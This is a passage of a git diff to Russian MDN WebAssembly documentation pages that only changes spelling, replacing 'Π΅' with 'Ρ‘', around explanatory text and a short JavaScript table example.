-<p>JavaScript API прСдоставляСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ памяти, Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ экзСмпляры ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² экзСмпляр модуля WebAssembly, ΠΊΠΎΠ΄ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ синхронно Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ экспорты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript. Π›ΡŽΠ±Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ синхронно Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠΎΠ΄ΠΎΠΌ WebAssembly ΠΏΡƒΡ‚Π΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² качСствС ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π² экзСмпляр модуля WebAssembly.</p>
+<p>JavaScript API прСдоставляСт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ памяти, Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ ΠΈ экзСмпляры ΠΌΠΎΠ΄ΡƒΠ»Π΅ΠΉ. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΠ² экзСмпляр модуля WebAssembly, ΠΊΠΎΠ΄ JavaScript ΠΌΠΎΠΆΠ΅Ρ‚ синхронно Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Π΅Π³ΠΎ экспорты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript. Π›ΡŽΠ±Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠ³ΡƒΡ‚ синхронно Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ ΠΊΠΎΠ΄ΠΎΠΌ WebAssembly ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ этих Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ Π² качСствС ΠΈΠΌΠΏΠΎΡ€Ρ‚Π° Π² экзСмпляр модуля WebAssembly.</p>
<p>ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ JavaScript ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΠ΅Ρ‚ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ, ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡŽ ΠΈ запуск ΠΊΠΎΠ΄Π° WebAssembly, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ JavaScript ΠΌΠΎΠ³ΡƒΡ‚ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΡŽΒ  WebAssembly ΠΊΠ°ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ JavaScript для эффСктивной Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ Π²Ρ‹ΡΠΎΠΊΠΎΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ.</p>
<p>Π’ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΠΈ WebAssembly Π±ΡƒΠ΄ΡƒΡ‚ Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒΡΡ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ <a href="https://github.com/WebAssembly/design/issues/1087">ΠΌΠΎΠ΄ΡƒΠ»ΠΈ ES2015</a> (с использованиСм <code>&lt;script type='module'&gt;</code>), Ρ‡Ρ‚ΠΎ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ JavaScript смоТСт ΠΈΠ·Π²Π»Π΅ΠΊΠ°Ρ‚ΡŒ, ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΈΠΌΠΏΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ WebAssembly Ρ‚Π°ΠΊ ΠΆΠ΅ Π»Π΅Π³ΠΊΠΎ, ΠΊΠ°ΠΊ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ ES2015.</p>
-<h2 id="Как_я_ΠΌΠΎΠ³Ρƒ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_WebAssembly_Π²_своСм_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ">Как я ΠΌΠΎΠ³Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ WebAssembly Π² своСм ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ?</h2>
+<h2 id="Как_я_ΠΌΠΎΠ³Ρƒ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_WebAssembly_Π²_своём_ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ">Как я ΠΌΠΎΠ³Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ WebAssembly Π² своём ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ?</h2>
<p>Π’Ρ‹ΡˆΠ΅ ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠ»ΠΈ ΠΎ Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π°Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ WebAssembly добавляСт ΠΊ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ΅: Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ для ΠΊΠΎΠ΄Π° ΠΈ API для Π΅Π³ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ ΠΈ запуска. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Ρ‹ Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅.</p>
@@ -87,7 +87,7 @@ translation_of: WebAssembly/Concepts
<h3 id="ΠŸΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅_ΠΈΠ·_CC">ΠŸΠΎΡ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΈΠ· C/C++</h3>
-<p>Из мноТСства Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² создания ΠΊΠΎΠ΄Π° WASM Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярных - это ΠΎΠ½Π»Π°ΠΉΠ½-сборщик wasm ΠΈΠ»ΠΈ <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. БущСствуСт Π΅Ρ‰Π΅ нСсколько Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² сборки WASM, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ:</p>
+<p>Из мноТСства Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² создания ΠΊΠΎΠ΄Π° WASM Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ популярных - это ΠΎΠ½Π»Π°ΠΉΠ½-сборщик wasm ΠΈΠ»ΠΈ <a href="/en-US/docs/Mozilla/Projects/Emscripten">Emscripten</a>. БущСствуСт Π΅Ρ‰Ρ‘ нСсколько Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² сборки WASM, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ:</p>
<ul>
<li><a href="https://wasdk.github.io/WasmFiddle/">WasmFiddle</a></li>
@@ -104,9 +104,9 @@ translation_of: WebAssembly/Concepts
<p>Π’ Π΄Π²ΡƒΡ… словах, процСсс Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:</p>
<ol>
- <li>Π‘Π½Π°Ρ‡Π°Π»Π° Emscripten ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚ ΠΊΠΎΠ΄ C/C++ Π² clang + LLVM - Π½Π°Π±ΠΎΡ€ инструмСнтов компилятора C/C++ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ поставляСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ XCode для OSX.</li>
+ <li>Π‘Π½Π°Ρ‡Π°Π»Π° Emscripten ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚ ΠΊΠΎΠ΄ C/C++ Π² clang + LLVM - Π½Π°Π±ΠΎΡ€ инструмСнтов компилятора C/C++ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ исходным ΠΊΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ поставляСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ XCode для OSX.</li>
<li>Emscripten ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΠ΅Ρ‚ скомпилированный Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ clang + LLVM Π² Π΄Π²ΠΎΠΈΡ‡Π½Ρ‹ΠΉ Ρ„Π°ΠΉΠ» .wasm.Β Β Β </li>
- <li>Π‘Π°ΠΌ ΠΏΠΎ сСбС ΠΊΠΎΠ΄ WebAssembly Π² настоящСС врСмя Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ DOM; ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ JavaScript, пСрСдавая цСлочислСнныС ΠΈ числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉΒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ Web-API, WebAssembly ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Web-API. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Emscripten создаСт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ для этого ΡΠ²ΡΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ HTML ΠΈ JavaScript.</li>
+ <li>Π‘Π°ΠΌ ΠΏΠΎ сСбС ΠΊΠΎΠ΄ WebAssembly Π² настоящСС врСмя Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ DOM; ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ JavaScript, пСрСдавая цСлочислСнныС ΠΈ числа с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉΒ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Π΄Π°Π½Π½Ρ‹Ρ…. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ Π»ΡŽΠ±ΠΎΠΌΡƒ Web-API, WebAssembly ΠΌΠΎΠ΄ΡƒΠ»ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Ρ‰Π°Ρ‚ΡŒΡΡ ΠΊ JavaScript, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Web-API. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Emscripten создаёт Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΉ для этого ΡΠ²ΡΠ·ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ HTML ΠΈ JavaScript.</li>
</ol>
<div class="note">
diff --git a/files/ru/webassembly/exported_functions/index.html b/files/ru/webassembly/exported_functions/index.html
index c586422de3..d46ae2ad53 100644
--- a/files/ru/webassembly/exported_functions/index.html
+++ b/files/ru/webassembly/exported_functions/index.html
@@ -14,7 +14,7 @@ translation_of: WebAssembly/Exported_functions
<h2 id="ЭкспортированныС…_Ρ‡Ρ‚ΠΎ">ЭкспортированныС… Ρ‡Ρ‚ΠΎ?</h2>
-<p>ЭкспортированныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ это просто JavaScript ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ модуля WebAssembly. ΠŸΡ€ΠΈ ΠΈΡ… использовании происходит нСявноС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Ρ‚ΠΈΠΏΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ WebAssembly (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ number Π² int32). Π”Π°Π»ΡŒΡˆΠ΅ эти Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вашСго модуля ΠΈ ΠΎΠ½Π° вызываСтся. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ прСобразовываСтся ΠΈ возвращаСтся Π² JavaScript.</p>
+<p>ЭкспортированныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ это просто JavaScript ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ модуля WebAssembly. ΠŸΡ€ΠΈ ΠΈΡ… использовании происходит нСявноС ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Ρ‚ΠΈΠΏΠΎΠ² Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π² Ρ‚ΠΈΠΏΡ‹, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ WebAssembly (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ number Π² int32). Π”Π°Π»ΡŒΡˆΠ΅ эти Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вашСго модуля ΠΈ ΠΎΠ½Π° вызываСтся. Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ прСобразовываСтся ΠΈ возвращаСтся Π² JavaScript.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список экспортированных Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ двумя способами:</p>
@@ -23,11 +23,11 @@ translation_of: WebAssembly/Exported_functions
<li>Π§Π΅Ρ€Π΅Π· <code><a href="/en-US/docs/WebAssembly/API/Instance/exports">Instance.exports</a></code>Β ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ экзСмпляра модуля.</li>
</ul>
-<p>Π’ любом случаС Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚ΡƒΠΆΠ΅Β ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΡƒΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вашСго модуля. Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния JavaScript, всС экспортированныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ wasm ΡΠ²Π»ΡΡŽΡ‚ΡΡ функциями JavaScript, Π½ΠΎ ΠΎΠ½ΠΈ инкапсулированы экзСмпляром модуля wasm, ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ способ доступа ΠΊ Π½ΠΈΠΌ.</p>
+<p>Π’ любом случаС Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚ΡƒΠΆΠ΅Β ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΡƒΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ вашСго модуля. Π‘ Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния JavaScript, всС экспортированныС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ wasm ΡΠ²Π»ΡΡŽΡ‚ΡΡ функциями JavaScript, Π½ΠΎ ΠΎΠ½ΠΈ инкапсулированы экзСмпляром модуля wasm, ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ способ доступа ΠΊ Π½ΠΈΠΌ.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΡΠ½ΠΈΡ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ Π½Π° GitHub ΠΊΠ°ΠΊΒ <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html">table-set.html</a>Β ΠΈΠ»ΠΈΒ <a href="https://mdn.github.io/webassembly-examples/other-examples/table-set.html">Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π² своСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</a>, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">тСкстовоС прСдставлСниС модуля wasm</a>):</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ посмотрим Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΡΠ½ΠΈΡ‚ΡŒ ΡΠΈΡ‚ΡƒΠ°Ρ†ΠΈΡŽ (Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ Π΅Π³ΠΎ Π½Π° GitHub ΠΊΠ°ΠΊΒ <a href="https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html">table-set.html</a>Β ΠΈΠ»ΠΈΒ <a href="https://mdn.github.io/webassembly-examples/other-examples/table-set.html">Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Π² своём Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅</a>, ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">тСкстовоС прСдставлСниС модуля wasm</a>):</p>
<pre class="brush: js">var otherTable = new WebAssembly.Table({ element: "anyfunc", initial: 2 });
@@ -42,7 +42,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm'))
console.log(otherTable.get(1)());
});</pre>
-<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаСм Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ </span></font>otherTable</code>Β ΠΈΠ· JavaScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{jsxref("WebAssembly.Table")}}, послС этого ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ <code>table.wasm</code> ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ {{jsxref("WebAssembly.instantiateStreaming()")}}.</p>
+<p><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Π—Π΄Π΅ΡΡŒ ΠΌΡ‹ создаём Ρ‚Π°Π±Π»ΠΈΡ†ΡƒΒ </span></font>otherTable</code>Β ΠΈΠ· JavaScript ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ конструктор {{jsxref("WebAssembly.Table")}}, послС этого ΠΌΡ‹ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅ΠΌ ΠΌΠΎΠ΄ΡƒΠ»ΡŒ <code>table.wasm</code> ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ {{jsxref("WebAssembly.instantiateStreaming()")}}.</p>
<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ содСрТащий всС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, экспортированныС ΠΈΠ· экзСмпляра модуля. ИзвлСкаСм ссылки Π½Π° эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Ρ‡Π΅Ρ€Π΅Π·Β  <code><a href="/en-US/docs/WebAssembly/API/Table/get">tbl.get()</a>,</code>Β Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌ ΠΈΡ… ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ Π² консоль. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ <code>set()</code> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Π°Π±Π»ΠΈΡ†Π°Β  <code>otherTable</code> содСрТала ссылки Π½Π° Ρ‚Π΅ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Ρ‡Ρ‚ΠΎ ΠΈ Ρ‚Π°Π±Π»ΠΈΡ†Π° <code>tbl</code>.</p>
@@ -52,7 +52,7 @@ WebAssembly.instantiateStreaming(fetch('table.wasm'))
